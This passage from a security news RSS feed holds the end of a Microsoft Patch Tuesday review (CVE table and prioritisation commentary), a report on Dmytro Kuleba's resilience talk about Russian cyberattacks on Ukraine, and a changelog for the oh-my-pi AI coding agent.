  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  




  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ukraine’s foreign minister offer recipe for improved resilience]]></title>
<description><![CDATA[Cybersecurity professionals were offered lessons of resilience in the most extreme circumstances from Ukraine’s former minister of foreign affairs.



Dmytro Kuleba, who served as Ukraine’s Minister of Foreign Affairs between 2020 and 2024, told Infosecurity Europe delegates that the key to Ukrai...]]></description>
<link>https://tsecurity.de/de/3580689/it-security-nachrichten/ukraines-foreign-minister-offer-recipe-for-improved-resilience/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580689/it-security-nachrichten/ukraines-foreign-minister-offer-recipe-for-improved-resilience/</guid>
<pubDate>Mon, 08 Jun 2026 09:31:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Cybersecurity professionals were offered lessons of resilience in the most extreme circumstances from Ukraine’s former minister of foreign affairs.</p>



<p>Dmytro Kuleba, who served as Ukraine’s Minister of Foreign Affairs between 2020 and 2024, told Infosecurity Europe delegates that the key to Ukraine’s survival after the full-scale Russian invasion of 2022 was pre-planning, a lesson learned in the early weeks of the war.</p>



<p>Ukraine’s largest mobile operator KyivStar was subjected to an outage in December 2023 because of a Russian cyberattack.</p>



<p>“They got to the very core of their system of their network,” Kuleba said. “They put it down, or they knocked it out, and the way they did it, they penetrated through an account of one single employee of KyivStar.”</p>



<p>Kuleba added: “Miraculously, KyivStar did [the] unimaginable, and within days they restored the system and fenced it off.”</p>



<p>Few successful cyberattacks have happened since this incident, according to Kuleba, who credited this success on a pre-planning for resilience methodology that has been adopted by the Ukrainian government and businesses.</p>



<p>“We don’t know what and how it is going to happen,” Kuleba said. “But you can presume, you can brainstorm, you can calculate, and you can prepare. You can prepare so that it becomes your muscle memory.”</p>



<p>Even if the unexpected happens you will be more prepared if you’ve gone through preparations, Kuleba argued.</p>



<p>“Make no mistake when the crisis situation occurs, everything will be different,” said Kuleba. “You will be punched in the face. You plan not to follow the plan but to know your environment perfectly and to develop instincts of survival in this environment.”</p>



<h2 class="wp-block-heading">Exodus</h2>



<p>Kuleba began preparing Ukraine’s foreign ministry for the war in November 2021, starting with learning precisely how its systems worked and planning for contingencies such as how diplomats and staff could communicate if online messaging apps became unavailable.</p>



<p>When war broke out foreign ministry services was evacuated abroad.</p>



<p>“We did not waste a single second on figuring out what is possible and what is impossible, because we knew all of that in advance,” Kuleba said.</p>



<p>Preparation for potential disasters might seem like a distraction from more immediate projects or even boring but making contingency plans is vital not just for Ukraine but for technologists around the world.</p>



<p>“There are more important projects than preparing for something that might not even happen,” Kuleba advised. “But if you care for your company, if you care for your country, you have to prepare for the worst.”</p>



<p>Kuleba concluded: “Resilience is not being prepared to repair a destruction. Resilience is your ability to keep repairing the wrecks as destruction becomes new normal.”</p>



<p>The war has affected the operations of even smaller Ukrainian businesses as Russian cyberattacks have become stealthier.</p>



<p>For example, Russian operatives have recently sought to gain “pattern of life” intelligence that might be used to assassinate Ukrainian officials or target members of their family for kidnap after hacking into the customer relationship management (CRM) systems used by businesses such as barbers, gyms, and nail bars.</p>



<p>“What Russian security services are doing is they break into CRM systems of barbers, fitness clubs … the loyalty programmes of supermarkets, to track your movements, to understand whether you usually show up, [and] how much time do you usually spend, to build a picture, and then do what they believe is necessary,” Kuleba said.</p>



<p>In one case Kuleba linked to this tactic, the son of an unspecified Ukrainian official was kidnapped before his father was blackmailed by the Russians into leaking intel.</p>



<p>CRM systems in the Ukraine were particularly vulnerable because for years before the invasion, “Russian companies had been offering very lucrative offers to Ukrainian businesses so that they would install [their] CRM platforms,” Kuleba said.</p>



<p>Kuleba added: “Did these Russian companies do that on their own initiative? Perhaps. Did the Russian security service ask them to do that and help them to do it? Perhaps. But the thing is, even such innocent programme as a check-in system at a restaurant, or a barber shop, or a gym, can help your enemy to kill someone … to kidnap.”</p>



<p>“Do not trust the products made by your potential enemy,” Kuleba concluded, adding that the incident shows the importance of technological sovereignty and data security even for the smallest companies.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.10.0]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Added

Added a dependency-free @oh-my-pi/pi-ai/effort module exporting the Effort enum and THINKING_EFFORTS, split out of model-thinking so hot-path consumers can import the thinking levels without pulling in model-thinking and its provider-compat dependency graph. The package bar...]]></description>
<link>https://tsecurity.de/de/3580231/tools/v15100/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580231/tools/v15100/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:53 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>Added a dependency-free <code>@oh-my-pi/pi-ai/effort</code> module exporting the <code>Effort</code> enum and <code>THINKING_EFFORTS</code>, split out of <code>model-thinking</code> so hot-path consumers can import the thinking levels without pulling in <code>model-thinking</code> and its provider-compat dependency graph. The package barrel still re-exports both names, so existing imports are unaffected.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>
<p>Fixed Antigravity usage provider emitting one bar per model instead of deduplicating by tier — a single account's 15+ model entries now collapse to one bar per tier, matching the shared-quota reality of the upstream API.</p>
</li>
<li>
<p>Fixed Antigravity usage reports missing <code>email</code> and <code>accountId</code> in metadata, so the <code>/usage</code> display and the deduplicator can associate reports with their credentials.</p>
</li>
<li>
<p>Fixed usage-report dedup ignoring <code>projectId</code> for Google Cloud providers, preventing duplicate credential entries from being recognized as the same account.</p>
</li>
<li>
<p>Fixed Cloud Code Assist (Antigravity / Gemini CLI) rejecting the <code>github</code> tool with HTTP 400 when the <code>pr</code> parameter schema contained <code>anyOf: [string, array]</code>. The CCA mixed-type combiner collapse picked the first non-null type (<code>string</code>) but indiscriminately copied type-specific keys from variant branches — <code>items</code> from the array variant leaked onto the string-typed result, producing <code>{type: "string", items: {...}}</code> which Google's API rejects as invalid. The collapse now filters merged variant fields against the winning type's allowed key set. (<a href="https://github.com/can1357/oh-my-pi/pull/2002" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2002/hovercard">#2002</a>)</p>
</li>
<li>
<p>Fixed OpenAI Responses-family providers (Codex, OpenAI Responses, Azure Responses) rejecting requests with <code>400 No tool output found for function call …</code> after the user branched/navigated the session tree to a node that ends on a tool call (the tool-result child is dropped from the reconstructed history) or after a turn was aborted/crashed between the call streaming and its result persisting. The converters now synthesize a placeholder <code>function_call_output</code>/<code>custom_tool_call_output</code> immediately after any unpaired <code>function_call</code>/<code>custom_tool_call</code>, symmetric to the existing orphan-output repair, so the model still sees the call and can recover instead of the whole request 400ing.</p>
</li>
<li>
<p>Fixed Anthropic-compatible reasoning endpoints losing prior-turn reasoning on continuation requests when they emit unsigned <code>thinking</code> blocks. <code>convertAnthropicMessages</code> treated unknown endpoints as signature-enforcing and demoted unsigned reasoning to <code>type: "text"</code>, which destabilized tool-call argument serialization on the next turn — the upstream symptom behind the <code>args?.ops?.map is not a function</code> crash reported against the <code>todo</code> tool. Official <code>api.anthropic.com</code> keeps the conservative text fallback; non-official <code>anthropic-messages</code> reasoning models now replay unsigned reasoning as native <code>type: "thinking"</code> (<a href="https://github.com/can1357/oh-my-pi/issues/2005" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2005/hovercard">#2005</a>).</p>
</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Replaced the <code>providers.parallelFetch</code> boolean setting with the <code>providers.fetch</code> enum (<code>auto</code> / <code>native</code> / <code>trafilatura</code> / <code>lynx</code> / <code>parallel</code> / <code>jina</code>) that selects the URL reader-backend priority for the <code>read</code>/<code>fetch</code> tool, mirroring <code>providers.image</code>/<code>providers.webSearch</code>. Existing configs are migrated automatically: the legacy key is dropped and the new <code>auto</code> default applies.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added a GitHub Actions read handler to the <code>read</code>/web-fetch GitHub scraper. Fetching <code>github.com/{owner}/{repo}/actions/runs/{id}</code> renders the run metadata plus a per-job breakdown (steps listed for any job that did not succeed), and <code>…/actions/runs/{id}/job/{id}</code> (also the API-style <code>…/jobs/{id}</code>) renders a single job's metadata, step table, and full plain-text logs. Logs are fetched via the <code>actions/jobs/{id}/logs</code> redirect using <code>GITHUB_TOKEN</code>/<code>GH_TOKEN</code> when present, with the per-line ISO timestamp prefix and leading BOM stripped; the section degrades to an explicit notice when logs are unavailable (no token, private repo, or expired/unfinalized run).</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed eval <code>agent()</code> subagents so they are never subject to the <code>task.maxRuntimeMs</code> wall-clock cap. The parent cell's idle watchdog is already suspended for the entire bridge call (<code>withBridgeTimeoutPause</code>), so a long-running fan-out/recovery workflow must not be killed by a per-subagent runtime limit. <code>runEvalAgent</code> now passes <code>maxRuntimeMs: 0</code> to <code>runSubprocess</code>, which honors an explicit <code>ExecutorOptions.maxRuntimeMs</code> override over the inherited setting.</li>
<li>Changed interactive timing behavior so <code>PI_TIMING=x pi</code> preloads the module timer before the CLI graph loads and includes the <code>(modules)</code> report. <code>PI_TIMING=full</code> now also exits after printing, matching <code>PI_TIMING=x</code>, so full module reports are usable for cold-start measurement without launching the TUI. Added the root <code>dev:timing</code> script for the same profiled startup path.</li>
<li>Changed coding-agent startup imports so normal TUI launch imports <code>InteractiveMode</code> directly, keeps print/RPC/ACP runners on their branch-only paths, and moves marketplace auto-update work behind a lightweight deferred starter.</li>
<li>Changed cold-launch setup gating so the full setup wizard (every scene plus the overlay and their TUI/OAuth/web-search/theme dependencies) is no longer statically imported by <code>main.ts</code>. The current setup version now lives in a tiny dependency-free <code>modes/setup-version</code> module, and the wizard barrel is lazy-loaded only when the stored setup version is stale or the wizard is forced — the common up-to-date launch skips loading it entirely.</li>
<li>Changed cold-launch startup imports so the hot-path CLI files no longer pull the full <code>@oh-my-pi/pi-ai</code> barrel: <code>commands/launch.ts</code> and <code>cli/args.ts</code> import <code>THINKING_EFFORTS</code>/<code>Effort</code> from the tiny <code>@oh-my-pi/pi-ai/effort</code> module, and <code>config/model-registry.ts</code> now imports its ~20 symbols from narrow subpaths (<code>api-registry</code>, <code>model-cache</code>, <code>model-manager</code>, <code>model-thinking</code>, <code>models</code>, <code>provider-models</code>, <code>types</code>, <code>utils/event-stream</code>) instead of the barrel — so launching no longer eagerly loads every provider, auth, OAuth, and usage module re-exported by the barrel.</li>
